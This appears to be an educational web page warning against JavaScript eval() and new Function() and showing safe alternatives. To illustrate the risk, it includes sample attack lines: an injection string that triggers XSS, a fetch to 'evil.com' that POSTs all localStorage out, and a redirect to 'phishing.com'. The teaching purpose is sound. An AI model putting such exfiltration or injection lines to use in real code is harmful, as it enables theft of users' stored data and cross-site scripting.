Building Your Learning Module...
Getting things ready for you!
Find videos you like?
Save to resource drawer for future reference!
eval() executes a string as JavaScript code. While powerful, it's extremely dangerous and should be avoided in production code.
How eval() works (don't use in production!)
Attacker can inject malicious code
// User input: "'; alert('XSS'); ''"
eval("message = '" + userInput + "'");
// Executes alert('XSS')!Access to all variables and data
// Attacker input:
const attack = "fetch('evil.com', {
method: 'POST',
body: JSON.stringify(localStorage)
})";
eval(attack); // Sends all data!Prevents optimization
// Cannot be optimized by JS engine
for (let i = 0; i < 1000; i++) {
eval('const x = i * 2');
}
// Very slow!Stack traces are unclear
try {
eval('undefinedFunc()');
} catch (e) {
console.log(e.stack);
// Cryptic stack trace!
}What attackers can do with eval()
// Creating function from string
const fn = new Function('a', 'b',
'return a + b'
);
console.log(fn(2, 3)); // 5
// Same security issues as eval!
const userCode = "alert('XSS')";
const dangerous = new Function(userCode);
dangerous(); // Executes attack!// All eval() attacks work here too!
const attack1 = new Function(
"fetch('evil.com')"
);
const attack2 = new Function(
"window.location='phishing.com'"
);
// Never use with user input!How it works (still dangerous!)
// ❌ BAD: Using eval for JSON
const data = eval('(' + jsonString + ')');
// ✅ GOOD: Use JSON.parse
const data = JSON.parse(jsonString);// ❌ BAD: Using eval
const value = eval('obj.' + property);
// ✅ GOOD: Use bracket notation
const value = obj[property];// ❌ BAD: Eval for string construction
const msg = eval(`"Hello, " + name + "!"`);
// ✅ GOOD: Use template literals
const msg = `Hello, ${name}!`;// ❌ BAD: Eval for operations
const result = eval(`${a} ${operator} ${b}`);
// ✅ GOOD: Use object map
const operations = {
'+': (a, b) => a + b,
'-': (a, b) => a - b,
'*': (a, b) => a * b,
'/': (a, b) => a / b
};
const result = operations[operator](a, b);Building a calculator without eval()
Parse and evaluate math expressions safely
Using Web Workers for isolation (most secure)
Examples: Browser DevTools console, online code editors (CodePen, JSBin), Node.js REPL
Never use with user input
Causes security vulnerabilities
Same risks as eval()
Avoid in production code
JSON.parse(), bracket notation
Template literals, object maps
Always validate input
Use CSP and sandboxing
eval() or new Function() with any user-provided input. Period. No exceptions. Use modern, safe alternatives instead.